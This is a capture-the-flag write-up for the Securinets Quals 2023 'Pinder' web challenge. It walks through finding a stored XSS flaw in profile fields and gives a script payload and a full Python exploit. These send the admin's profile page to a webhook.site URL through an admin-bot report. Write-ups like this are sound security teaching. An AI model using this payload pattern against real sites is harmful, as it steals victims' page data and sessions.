Securinets CTF Quals 2023 - webx1
Pinder
Description

Link: http://pinder.securinets.tn
Source code here.
Solution
Review source code
The source code is quite a lot but I will focus on a few important files.

After looking through the entire source code, I noticed that there are some functions that should be paid attention to as follows:
- In the file
./routes/index.js:
login:

register:

create-profile and make-public:

In this function 3 inputs are required including userId, firt_name, last_name and profile_picture_link.
const result = db.createProfile(req.session.userId, req.body.first_name, req.body.last_name, req.body.profile_picture_link, true);
/my-profile:

This path allows you to view previously created profiles. in which there is a point worth noting.
res.render("my-profile", { profile: result[0] } function gets the profile id in the database and displays it to the interface.
Here is the result of result:

However, on the desktop interface, the profile id is hidden with style="display:none".

There are also 2 other paths but only for admin.

admin can view profiles of other accounts through the path /profile/{id}.

- The flag is located in the profile of
admin.

- I tried to create a template containing malicious javascript code and open it in
adminaccount.
In my account.

In admin.

yeah. :100: I received a message - XSS stored vulnerability from admin side.
- In
./util/report.js: There is a requirement, the url when sumit must start withhttp://127.0.0.1/profile.

:::success => At this point, I can guess that this web application contains an XSS stored vulnerability.
The mining steps I perform will be as follows:
- Create an account and login
- Create profile contains XSS code to fetch to the profile in admin and send the results to a webhook.
- Get
idofprofilejust created in view-source - Submit my-profile to admin with the link
http://127.0.0.1/profile/{id} - Get flags from webhook :::
Exploit XSS
- Now, I change a bit the old payload to .
"><script>fetch('http://127.0.0.1/my-profile').then(response => response.text()).then(data => {fetch(' https://webhook.site/9a0f20d5-7f92-43bb-a455-5d82fd12eb17',{method: 'POST', headers: {'Content-Type': 'text/plain'},body: data});}).catch(error => console.error(error));</script> - Add it to the
firtnameof the profile.

Done!
- Looking at the source code we can see that
profile idis485

- Now submit my profile to admin with the link
http://127.0.0.1/profile/485

- ok, i get the flag from webhook.

Flag: securinets{3bcc81811533d70940084c8}
Script
import requests
import string
import random
import time
from bs4 import BeautifulSoup
url = "http://pinder.securinets.tn"
webhook = "https://webhook.site/c575a735-3aaf-4b9a-b8b9-4eeba169e356"
payload = "'><script>fetch('http://127.0.0.1/my-profile').then(response => response.text()).then(data => {fetch('#####',{method: 'POST', headers: {'Content-Type': 'text/plain'},body: data});}).catch(error => console.error(error));</script>"
with requests.Session() as session:
username = ''.join(random.choices(string.ascii_letters + string.digits, k=3))
session.post(url + '/register', json={ 'username': username, 'password': '12345678'})
session.post(url + '/login', json={ 'username': username, 'password': '12345678' })
payload = payload.replace('#####', webhook)
session.post(url + '/create-profile', json={"first_name":payload,"last_name":payload,"profile_picture_link":payload} )
res = session.get(url + '/my-profile')
if res.status_code == 200:
soup = BeautifulSoup(res.content, "html.parser")
card_subtitle = soup.find("p", class_="card-subtitle")
if card_subtitle:
value = card_subtitle.get_text().strip("#")
print("Id profile: ", value)
session.post(url + '/report', json={"url":"http://127.0.0.1/profile/" + value})
time.sleep(2)
print('Done! check webhook')
Result:
βββ(taiwhisγΏkali)-[~]
ββ$ python 2.py
Id profile: 517
Done! check webhook
Check webhook:

Comments